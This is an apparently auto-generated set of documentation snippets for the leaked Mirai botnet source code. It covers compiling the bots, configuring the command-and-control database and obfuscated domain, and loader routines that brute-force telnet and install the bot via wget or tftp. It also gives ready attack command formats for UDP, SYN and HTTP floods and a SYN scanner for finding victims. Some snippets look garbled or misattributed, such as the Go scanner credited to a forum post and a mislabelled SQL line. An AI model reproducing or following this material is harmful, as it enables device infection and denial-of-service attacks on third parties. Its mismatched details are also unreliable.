### Bot Initialization Example Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-bot.md Example of creating a new bot instance. The unique identifier (uid) will be assigned automatically when the bot is added to the ClientList. ```go bot := NewBot(conn, 0x03, "arm7") // uid will be assigned when added to ClientList ``` -------------------------------- ### Install Build Prerequisites on Linux Source: https://github.com/jgamblin/mirai-source-code/blob/master/README.md Installs necessary tools like gcc, make, and cross-compilation tools for ARM. Ensure you are on a Linux host. ```bash sudo apt update sudo apt install gcc make build-essential git crossbuild-essential-armel -y ``` -------------------------------- ### Install MySQL Server and Client Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt Installs the necessary MySQL server and client packages on a Debian-based system. This is a prerequisite for setting up the CNC database. ```bash apt-get install mysql-server mysql-client ``` -------------------------------- ### Initialize ClientList Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Creates a new ClientList instance. This starts two background goroutines for client management and count queries. ```go clientList := NewClientList() // Starts two background goroutines: // - worker() handles client management and attack distribution // - fastCountWorker() handles count queries ``` -------------------------------- ### API Client Example Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md A pseudo-code example illustrating how an API client connects to the CNC API, sends an attack command, and reads the server's response. ```go conn := net.Dial("tcp", "localhost:101") conn.Write([]byte("myapikey|udp 8.8.8.8 60\n")) buf := make([]byte, 1024) n, _ := conn.Read(buf) println(string(buf[:n])) // "OK\r\n" or "ERR|..." conn.Close() ``` -------------------------------- ### Update Configuration Entry (Example) Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt Shows how to update a configuration entry in table.c using the obfuscated string and byte count generated by the 'enc' tool. This example updates the TABLE_CNC_DOMAIN. ```c add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com ``` -------------------------------- ### API Interface Example Requests Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/endpoints.md These examples demonstrate various ways to format attack commands within an API request, including different attack types, targets, durations, and modifiers. ```text myapikey123|udp 192.168.1.1 60 myapikey123|-50 syn 10.0.0.0/8 120 syn=1 ack=0 myapikey123|http example.com 45 method=POST conns=100 ``` -------------------------------- ### QueueBuf Usage Example Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-bot.md Example of using the QueueBuf method to send an attack packet to a bot. This is typically called by the ClientList.worker during attack distribution. ```go // Called by ClientList.worker() during attack distribution bot.QueueBuf(attackBuffer) // Attack packet sent to bot immediately ``` -------------------------------- ### Simple API Line Read Example Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md Illustrates a basic read operation using the Api.ReadLine() method to fetch a single line of input from an API client. ```go api.ReadLine() // Returns "myapikey|udp 8.8.8.8 60" ``` -------------------------------- ### Loader Command-Line Arguments Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/configuration.md Example command-line invocation for the Mirai loader, specifying bind addresses, scan list, max connections, and hosts for bot binaries. ```bash ./loader ``` -------------------------------- ### Example Log Messages Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/errors.md Provides examples of log messages generated by the Mirai botnet, including database status, client connections, and blocked attacks. ```text Mysql DB opened Deleted client 3 - arm7 - 192.168.1.100:43521 Blocked attack by admin to whitelisted prefix ``` -------------------------------- ### NewClientList Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Creates and initializes a new ClientList manager. It starts background goroutines for handling client operations and count queries. ```APIDOC ## NewClientList ### Description Creates a new client list with initialized channels and background workers. ### Signature ```go func NewClientList() *ClientList ``` ### Returns - ** *ClientList** - New ClientList instance ### Example ```go clientList := NewClientList() // Starts two background goroutines: // - worker() handles client management and attack distribution // - fastCountWorker() handles count queries ``` ``` -------------------------------- ### Get Bot Distribution by Source Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Retrieves a map showing the distribution of bots by their source/version. This operation is thread-safe. ```go dist := clientList.Distribution() // Result: map[string]int{ // "arm7": 150, // "mips": 200, // "x86": 50, // } ``` -------------------------------- ### Example Obfuscated String Output Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt This is an example of the output generated by the 'enc' tool when obfuscating a string. It represents bytes that will be used in the table.c file. ```text XOR'ing 20 bytes of data... \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 ``` -------------------------------- ### Start New Attack Process Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/bot-attack.md Spawns a new process to execute a specified attack. The parent process stores the child's PID, and the child executes the attack function until the duration expires. ```c void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) ``` -------------------------------- ### UDP Attack with Bot Limit Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md Example of a UDP attack command specifying a maximum of 50 bots. ```text myapikey|-50 udp 192.168.1.0/24 30 ``` -------------------------------- ### attack_init Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/bot-attack.md Initializes the attack subsystem by registering all available attack vectors. This function must be called before any attack can be started. ```APIDOC ## attack_init ### Description Initializes attack subsystem by registering all attack vectors. ### Returns - TRUE on success ### Behavior - Registers UDP generic flood - Registers UDP VSE flood - Registers UDP DNS flood - Registers UDP plain flood - Registers TCP SYN flood - Registers TCP ACK flood - Registers TCP stomp flood - Registers GRE IP flood - Registers GRE Ethernet flood - Registers HTTP flood ``` -------------------------------- ### Basic UDP Attack Command Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md Example of a basic UDP attack command format sent to the CNC API. ```text myapikey|udp 192.168.1.1 60 ``` -------------------------------- ### HTTP Attack with Flags Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md Example of an HTTP attack command including custom flags like connection count and HTTP method. ```text myapikey|http example.com 45 conns=100 method=POST ``` -------------------------------- ### SYN Flood with TCP Flags Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md Example of a SYN flood attack command specifying TCP flags, source port, and destination port. ```text myapikey|syn 10.0.0.0/8 120 syn=1 ack=0 sport=443 dport=443 ``` -------------------------------- ### Get Binary by Architecture Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Retrieves a binary structure for a specified architecture string. Returns a pointer to the binary structure or NULL if not found. ```c struct binary *binary_get_by_arch(char *arch) ``` -------------------------------- ### Configure Mirai CNC Database Connection Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt Sets the database connection parameters within the Mirai CNC's main Go file. These constants must be updated to match the details of the installed MySQL server. ```go const DatabaseAddr string = "127.0.0.1" const DatabaseUser string = "root" const DatabasePass string = "password" const DatabaseTable string = "mirai" ``` -------------------------------- ### Initialize Binary System Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Initializes the binary system by loading precompiled binaries. Returns TRUE on success. ```c BOOL binary_init(void) ``` -------------------------------- ### Create Server Instance Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Creates and initializes a server structure with a specified number of worker threads, bind addresses, maximum connections, and download server details. Returns the initialized server structure. ```c struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip) ``` -------------------------------- ### Telnet Info Constructor: New Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Creates a new 'telnet_info' structure, initializing it with the provided username, password, architecture, IP address, and port. ```c struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info) ``` -------------------------------- ### Upload via Wget Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Executes wget download and execute. ```c int connection_upload_wget(struct connection *conn) ``` -------------------------------- ### NewDatabase Constructor Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Establishes a new MySQL connection using provided credentials. Requires database host, user, password, and name. ```go func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database ``` ```go db := NewDatabase("127.0.0.1", "root", "password", "mirai") ``` -------------------------------- ### binary_init Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Initializes the binary system by loading precompiled binaries. This function should be called before attempting to retrieve binaries. ```APIDOC ## binary_init ### Description Initializes binary system by loading precompiled binaries. ### Method N/A (C function) ### Parameters None ### Returns - BOOL: TRUE on success ``` -------------------------------- ### Get Current Bot Count Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Retrieves the current number of connected bots. This operation is thread-safe and synchronized using a mutex. ```go botCount := clientList.Count() println("Connected bots:", botCount) ``` -------------------------------- ### TryLogin Method Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Validates user credentials against the database. Returns validity and account information. User is valid if credentials match and account is not rate-limited or expired. ```go func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) ``` ```sql SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < intvl * 24 * 60 * 60)) ``` ```go valid, info := database.TryLogin("admin", "mypassword") if valid { println("Logged in as:", info.username) println("Max bots:", info.maxBots) println("Admin:", info.admin) } else { println("Invalid credentials") } ``` -------------------------------- ### Upload via TFTP Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Executes tftp download and execute. ```c int connection_upload_tftp(struct connection *conn) ``` -------------------------------- ### attack_start Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/bot-attack.md Spawns a new process to execute a specified attack with given duration, vector, targets, and options. ```APIDOC ## attack_start ### Description Spawns a new process to execute an attack. ### Parameters - `duration` (int) - Duration in seconds - `vector` (ATTACK_VECTOR) - Attack vector type - `targs_len` (uint8_t) - Number of targets - `targs` (struct attack_target *) - Array of targets - `opts_len` (uint8_t) - Number of options - `opts` (struct attack_option *) - Array of options ### Behavior 1. Finds available slot in `attack_ongoing[]` 2. Forks child process 3. Parent stores child PID in attack slot 4. Child calls appropriate attack function from dispatch table 5. Child loop sends packets until duration expires ``` -------------------------------- ### CreateUser Method Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Creates a new user account in the database. Returns true on success, false if username exists or an error occurs. New users are regular users with no cooldown. ```go func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool ``` ```sql SELECT username FROM users WHERE username = ? ``` ```sql INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?) ``` -------------------------------- ### Create User Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Creates a new user in the database with specified bot limits, duration, and cooldown. Returns true on success. ```go success := database.CreateUser("newuser", "password123", 100, 300, 60) if success { println("User created with 100 bots max, 5min duration, 60sec cooldown") } ``` -------------------------------- ### server_create Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Creates and initializes a server instance with a specified number of worker threads, bind addresses, maximum concurrent connections, and download server details. ```APIDOC ## server_create ### Description Creates server with worker thread pool. ### Method N/A (C function) ### Parameters - **threads** (uint8_t) - Number of worker threads - **addr_len** (uint8_t) - Number of bind addresses - **addrs** (ipv4_t *) - Array of local bind addresses - **max_open** (uint32_t) - Max concurrent connections - **wghip** (char *) - Wget server IP (for bot download) - **wghp** (port_t) - Wget server port - **thip** (char *) - TFTP server IP (for bot download) ### Returns - struct server *: Initialized server structure ``` -------------------------------- ### Clone Mirai Repository and Navigate Source: https://github.com/jgamblin/mirai-source-code/blob/master/README.md Clones the Mirai source code repository and changes the current directory to the repository root. ```bash git clone https://github.com/jgamblin/Mirai-Source-Code.git cd Mirai-Source-Code ``` -------------------------------- ### Create and Handle API Session Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-api.md Demonstrates the creation of a new API session handler for a given network connection and its subsequent handling of client requests. ```go conn, _ := apiListener.Accept() api := NewApi(conn) api.Handle() ``` -------------------------------- ### Parse Binary Attack Command Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/bot-attack.md Parses a binary attack command received from the CNC server. It reads duration, attack vector type, targets, and options, then starts the attack in a new child process. ```c void attack_parse(char *buf, int len) ``` -------------------------------- ### Initialize Attack Subsystem Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/bot-attack.md Initializes the attack subsystem by registering all available attack vectors. Returns TRUE on success. ```c BOOL attack_init(void) ``` -------------------------------- ### NewAttack Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-attack.md Creates a new attack object based on the provided string. It parses attack type, targets, duration, and flags from the input string. Special characters like '?' can be used to get help or lists of available options. ```APIDOC ## Function: NewAttack ### Description Parses an attack string to create and validate an attack object. Supports special arguments for help and listing options. ### Signature ```go func NewAttack(attackString string, flags int) (*Attack, error) ``` ### Arguments **Argument 0: Attack Type** - Special value `?` returns list of available attack types. - Must match key in `attackInfoLookup`. - Error if not found. **Argument 1: Targets** - Special value `?` returns target syntax help. - Comma-delimited CIDR blocks: `192.168.1.1,10.0.0.0/8`. - Max 255 targets per attack. - Invalid CIDR format returns error. **Argument 2: Duration** - Special value `?` returns duration help. - Integer seconds: 1-3600. - Error if 0 or >3600. **Arguments 3+: Flags** - Format: `key=value` pairs separated by spaces. - Special value `?` returns list of valid flags for attack type. - Flag key must exist in `flagInfoLookup`. - Flag must be in attack's allowed flag list. - Flag 25 (source) restricted to admin (admin==1). - Values quoted with `"` have quotes stripped. - String `true` converted to `1`, `false` to `0`. - Max 255 flags per attack. ### Return Type | Name | Type | Description | |------|------|-------------| | Attack | *Attack | Validated attack object | | Error | error | Formatted error message with color codes | ### Errors Returns formatted error string (prefixed with ANSI color codes): - Attack type not found: `"\033[33;1m%s \033[31mis not a valid attack!"` - Invalid target CIDR: `"Invalid netmask was supplied, near %s"` - Invalid IP address: `"Failed to parse IP address, near %s"` - Invalid duration: `"Invalid attack duration, near %s. Duration must be between 0 and 3600 seconds"` - Invalid flag: `"Invalid flag key %s, near %s"` - Too many targets: `"Cannot specify more than 255 targets in a single attack!"` - Too many flags: `"Cannot have more than 255 flags"` ### Example ```go // Simple UDP attack atk, err := NewAttack("udp 192.168.1.1 60", 0) // SYN flood with flags atk, err := NewAttack("syn 10.0.0.0/8 120 syn=1 sport=443 dport=443", 0) // HTTP flood (multiple targets and flags) atk, err := NewAttack("http 192.168.1.1,example.com 45 method=POST conns=100", 1) // Get help atk, err := NewAttack("?", 0) // Lists available attacks ``` ``` -------------------------------- ### NewDatabase Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Establishes a new MySQL connection with the given credentials. This is the constructor for the Database type. ```APIDOC ## NewDatabase ### Description Establishes a new MySQL connection with the given credentials. ### Signature ```go func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database ``` ### Parameters #### Path Parameters - **dbAddr** (string) - Required - Database host:port (e.g., "127.0.0.1:3306") - **dbUser** (string) - Required - MySQL username - **dbPassword** (string) - Required - MySQL password - **dbName** (string) - Required - Database name ### Return Type - **Database** (*Database) - Database handler ### Example ```go db := NewDatabase("127.0.0.1", "root", "password", "mirai") ``` ``` -------------------------------- ### Consume Upload Methods Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Tests for `wget` and `tftp` command availability. ```c int connection_consume_upload_methods(struct connection *conn) ``` -------------------------------- ### Compile Mirai Bot (Release) Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt Builds a production-ready, stripped-down version of the Mirai bot. These binaries are small and optimized for deployment on target devices. Binaries are compiled in the format 'mirai.$ARCH' and placed in the ./mirai/release folder. ```bash ./build.sh release telnet ``` -------------------------------- ### NewBot Constructor Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-bot.md Creates a new bot client handler instance. The 'uid' is assigned later by ClientList. Ensure the 'conn' parameter is an accepted network connection. ```go func NewBot(conn net.Conn, version byte, source string) *Bot ``` -------------------------------- ### Consume Mounts Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Parses `/proc/mounts` or `mount` output. ```c int connection_consume_mounts(struct connection *conn) ``` -------------------------------- ### Configure CNC Database Connection Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.md Go constants in `./mirai/cnc/main.go` that need to be updated with your MySQL server's connection details. This includes the address, username, password, and database table name. ```go const DatabaseAddr string = "127.0.0.1" const DatabaseUser string = "root" const DatabasePass string = "password" const DatabaseTable string = "mirai" ``` -------------------------------- ### Admin Constructor Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-admin.md Creates a new admin session handler for a given network connection. This is the entry point for establishing an admin session. ```APIDOC ## NewAdmin ### Description Creates a new admin session handler for a given network connection. ### Signature ```go func NewAdmin(conn net.Conn) *Admin ``` ### Parameters #### Path Parameters None #### Query Parameters None #### Request Body None ### Parameters Table | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | conn | net.Conn | Yes | Network connection from the admin client | ### Return Type - **Admin session handler** (*Admin) - Admin session handler ### Example ```go // In main connection handler conn, _ := listener.Accept() admin := NewAdmin(conn) admin.Handle() ``` ``` -------------------------------- ### Adduser Admin Command Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-admin.md Creates a new user account. Available only if the admin flag is set. Prompts for username, password, and various limits. ```Shell adduser [Prompts for]: - New username - New password - Max bots (-1 for unlimited) - Max attack duration (-1 for unlimited) - Cooldown time in seconds (0 for none) ``` -------------------------------- ### Run Echo Loader with Input File Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt Executes the compiled echo loader, piping the content of a file (containing IP:port user:pass entries) as standard input. The loader will then attempt to download the bot binary. ```bash cat file.txt | ./loader ``` -------------------------------- ### Build Mirai Bot and CnC Server Source: https://github.com/jgamblin/mirai-source-code/blob/master/README.md Executes the build script to cross-compile the bot for various architectures and compile the CnC server locally. Customization of paths is possible. ```bash ./build.sh ``` -------------------------------- ### Admin Handle Method Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-admin.md Processes the telnet admin session from login through command execution. It handles terminal initialization, authentication, and enters an interactive command loop for attack and admin commands. ```Go func (this *Admin) Handle() { // ... implementation details ... } ``` -------------------------------- ### Add Bot Client to List Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Registers a new bot client with the ClientList. The bot is added to the internal map and the total count is incremented. ```go bot := NewBot(conn, version, source) clientList.AddClient(bot) // Bot is now in the pool and can receive attacks ``` -------------------------------- ### Upload via Echo Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Executes echo hex upload method. ```c int connection_upload_echo(struct connection *conn) ``` -------------------------------- ### NewAdmin Constructor Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-admin.md Creates a new admin session handler for a given network connection. Used in the main connection handler to initialize an admin session. ```Go func NewAdmin(conn net.Conn) *Admin { // ... implementation details ... } ``` ```Go // In main connection handler conn, _ := listener.Accept() admin := NewAdmin(conn) admin.Handle() ``` -------------------------------- ### connection_open Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Initiates a TCP connection to a target device, typically on the telnet port (23). It handles socket creation, connection, and sets the initial state for the connection. ```APIDOC ## connection_open ### Description Opens TCP connection to target device. ### Method N/A (C function) ### Parameters - **conn** (struct connection *) - Pointer to the connection structure to open ### Behavior 1. Creates socket 2. Connects to telnet port (default 23) 3. Sets non-blocking mode 4. Initializes state to TELNET_CONNECTING ``` -------------------------------- ### Bot Protocol Initialization Header Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-bot.md The initial 4-byte header read by the main 'initialHandler' when a bot connects. This header is used to identify the connection as a bot and determine its version or source length. ```go Byte 0: 0x00 Byte 1: 0x00 Byte 2: 0x00 Byte 3: Version byte (or source length indicator) ``` -------------------------------- ### NewBot Constructor Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-bot.md Creates a new bot client handler instance. The bot's unique ID is assigned later by the ClientList. ```APIDOC ## NewBot Constructor Creates a new bot client handler instance. ### Signature ```go func NewBot(conn net.Conn, version byte, source string) *Bot ``` ### Parameters - **conn** (net.Conn) - Required - Accepted network connection from bot - **version** (byte) - Required - Bot version byte from protocol packet - **source** (string) - Required - Source identifier string (empty allowed) ### Returns - **Bot** (*Bot) - Bot handler instance with uid=-1 (set by ClientList) ### Example ```go bot := NewBot(conn, 0x03, "arm7") // uid will be assigned when added to ClientList ``` ``` -------------------------------- ### Compile Mirai Bot (Debug) Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt Builds a debug version of the Mirai bot. This is useful for testing and seeing detailed output about its status and connection attempts to the CNC. Binaries are placed in the ./mirai/debug folder. ```bash ./build.sh debug telnet ``` -------------------------------- ### SYN Scanner for Brute Forcing Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.md This Go code implements an advanced SYN scanner, significantly faster and more resource-efficient than traditional scanners like qbot's. It's used by Mirai bots to discover vulnerable devices. ```Go func synScan(targetIP string, targetPort uint16, timeout time.Duration) error { // Create a raw socket for sending SYN packets socket, err := net.ListenPacket("ip4:" + "tcp", "0.0.0.0") if err != nil { return fmt.Errorf("failed to create raw socket: %v", err) } defer socket.Close() // Construct the IP header ipHeader := &layers.IPv4{ Dst: net.ParseIP(targetIP), Protocol: layers.IPProtocolTCP, } // Construct the TCP header tcpHeader := &layers.TCP{ SrcPort: layers.TCPPort(rand.Intn(65535) + 1024), // Ephemeral source port DstPort: layers.TCPPort(targetPort), SYN: true, Seq: rand.Uint32(), } // Set TCP checksum (will be calculated later) tcpHeader.SetNetworkLayerForChecksum(ipHeader) // Create buffer and serialize layers buffer := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ ComputeChecksums: true, FixLengths: true, } err = gopacket.SerializeLayers(buffer, opts, ipHeader, tcpHeader) if err != nil { return fmt.Errorf("failed to serialize layers: %v", err) } // Send the packet if _, err := socket.WriteTo(buffer.Bytes(), &net.IPAddr{IP: ipHeader.Dst}); err != nil { return fmt.Errorf("failed to send packet: %v", err) } // Set a read deadline for receiving the SYN-ACK if err := socket.SetReadDeadline(time.Now().Add(timeout)); err != nil { return fmt.Errorf("failed to set read deadline: %v", err) } // Read response respBuf := make([]byte, 1024) _, _, err = socket.ReadFrom(respBuf) if err != nil { // If timeout, assume port is closed or filtered if neterr, ok := err.(net.Error); ok && neterr.Timeout() { return fmt.Errorf("port %d is closed or filtered (timeout)", targetPort) } return fmt.Errorf("failed to read response: %v", err) } // Parse the response packet packet := gopacket.NewPacket(respBuf, layers.LayerTypeIPv4, gopacket.Default) // Assuming IPv4 tcpLayer := packet.Layer(layers.LayerTypeTCP) if tcpLayer != nil { // Check if it's a SYN-ACK response if tcp, ok := tcpLayer.(*layers.TCP); ok && tcp.SYN && tcp.ACK { return nil // Port is open } } return fmt.Errorf("port %d is closed (no SYN-ACK received)", targetPort) } ``` -------------------------------- ### Consume Writable Directories Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Tests directories for write access and selects a writable one. ```c int connection_consume_written_dirs(struct connection *conn) ``` -------------------------------- ### Parse CNC Attack Commands Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-attack.md Demonstrates how to construct an Attack object from a string command. Use '?' for help on attacks, targets, duration, or flags. Handles various attack types, multiple targets, durations, and flags. ```go // Simple UDP attack atk, err := NewAttack("udp 192.168.1.1 60", 0) // SYN flood with flags atk, err := NewAttack("syn 10.0.0.0/8 120 syn=1 sport=443 dport=443", 0) // HTTP flood (multiple targets and flags) atk, err := NewAttack("http 192.168.1.1,example.com 45 method=POST conns=100", 1) // Get help atk, err := NewAttack("?", 0) // Lists available attacks ``` -------------------------------- ### Telnet Info Constructor: Parse Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Parses a comma-separated string into a 'telnet_info' structure. The expected format is 'ip,port,user,pass'. ```c struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) ``` -------------------------------- ### AccountInfo Structure Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Represents user account metadata including username, maximum bots allowed, and admin status. ```go type AccountInfo struct { username string // Username maxBots int // Max bots per attack (-1 = unlimited) admin int // Admin flag (1 = admin, 0 = regular) } ``` -------------------------------- ### Create MySQL Database for CNC Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.txt This command is executed within the MySQL client to create the necessary database structure for the Mirai CNC. The specific SQL commands are provided via a pastebin link in the original documentation. ```sql INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); ``` -------------------------------- ### Admin Handle Method Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-admin.md Processes the telnet admin session from login through command execution, managing the interactive command loop. ```APIDOC ## Handle ### Description Processes the telnet admin session from login through command execution. ### Signature ```go func (this *Admin) Handle() ``` ### Behavior 1. Initializes telnet terminal mode with ANSI escape sequences 2. Displays prompt.txt header file 3. Prompts for username and password (60-second timeout) 4. Validates credentials against database 5. Sets 120-second timeout for command execution 6. Enters interactive command loop accepting attack and admin commands 7. Updates window title with current bot count every second 8. Exits on `exit`, `quit`, or connection close ### Parameters None ### Throws None - errors trigger connection close with message ### Response Format Commands are echoed to the client with ANSI color codes: - `\033[31;1m` - Red errors - `\033[32;1m` - Green success - `\033[36;1m` - Cyan info ### Example Session ``` Connect to port 23 Server sends: (ANSI art prompt from prompt.txt) User enters: username User enters: password Server validates and enters command prompt: "user@botnet# " User enters: "udp 8.8.8.8 60" Server queues attack or returns error ``` ``` -------------------------------- ### Default Database Configuration Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Specifies the default network address, username, password, and database table name for connecting to the Mirai CNC database. ```go const DatabaseAddr = "127.0.0.1" const DatabaseUser = "root" const DatabasePass = "password" const DatabaseTable = "mirai" ``` -------------------------------- ### binary_get_by_arch Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Retrieves a binary structure for a specified architecture. Used to load the correct payload for different device types. ```APIDOC ## binary_get_by_arch ### Description Retrieves binary for specified architecture. ### Method N/A (C function) ### Parameters #### Path Parameters - **arch** (char *) - Required - Architecture string (e.g., "mips", "arm", "arm7", "x86") ### Returns - struct binary *: Pointer to binary or NULL if not found ``` -------------------------------- ### Server Structure Definition Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Defines the main server structure, which manages concurrent connections, tracks statistics, and holds configuration for download servers and worker threads. ```c struct server { uint32_t max_open; // Max concurrent connections volatile uint32_t curr_open; // Current open connections volatile uint32_t total_input; // Total addresses processed volatile uint32_t total_logins; // Successful logins volatile uint32_t total_echoes; // Successful echo uploads volatile uint32_t total_wgets; // Successful wget uploads volatile uint32_t total_tftps; // Successful tftp uploads volatile uint32_t total_successes; // Total successful infections volatile uint32_t total_failures; // Total failed attempts char *wget_host_ip; // Server IP for wget downloads char *tftp_host_ip; // Server IP for tftp downloads struct server_worker *workers; // Thread pool struct connection **estab_conns; // Established connections array ipv4_t *bind_addrs; // Local bind addresses pthread_t to_thrd; // Timeout thread port_t wget_host_port; // Port for wget server uint8_t workers_len; // Number of worker threads uint8_t bind_addrs_len; // Number of bind addresses int curr_worker_child; // Load balance counter }; ``` -------------------------------- ### Consume Login Verification Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Verifies login by checking echo response. ```c int connection_consume_verify_login(struct connection *conn) ``` -------------------------------- ### Verify Payload Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Verifies bot binary executed successfully. ```c int connection_verify_payload(struct connection *conn) ``` -------------------------------- ### Admin ReadLine Method Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-admin.md Reads a line of input from the telnet client with special character handling. Use 'false' for normal input and 'true' for password input to mask characters. ```Go func (this *Admin) ReadLine(masked bool) (string, error) { // ... implementation details ... } ``` ```Go // Read username admin.ReadLine(false) // Echoes input characters // Read password admin.ReadLine(true) // Echoes * for each character ``` -------------------------------- ### Consume Architecture Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Detects CPU architecture from `uname -m` output. ```c int connection_consume_arch(struct connection *conn) ``` -------------------------------- ### Server Connection Coordinator Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/types.md Coordinates connection attempts and manages server-wide statistics, including maximum and current open connections, total input, successful/failed logins, and details about download hosts and worker threads. ```c struct server { uint32_t max_open; volatile uint32_t curr_open; volatile uint32_t total_input; volatile uint32_t total_logins; volatile uint32_t total_echoes; volatile uint32_t total_wgets; volatile uint32_t total_tftps; volatile uint32_t total_successes; volatile uint32_t total_failures; char *wget_host_ip; char *tftp_host_ip; struct server_worker *workers; struct connection **estab_conns; 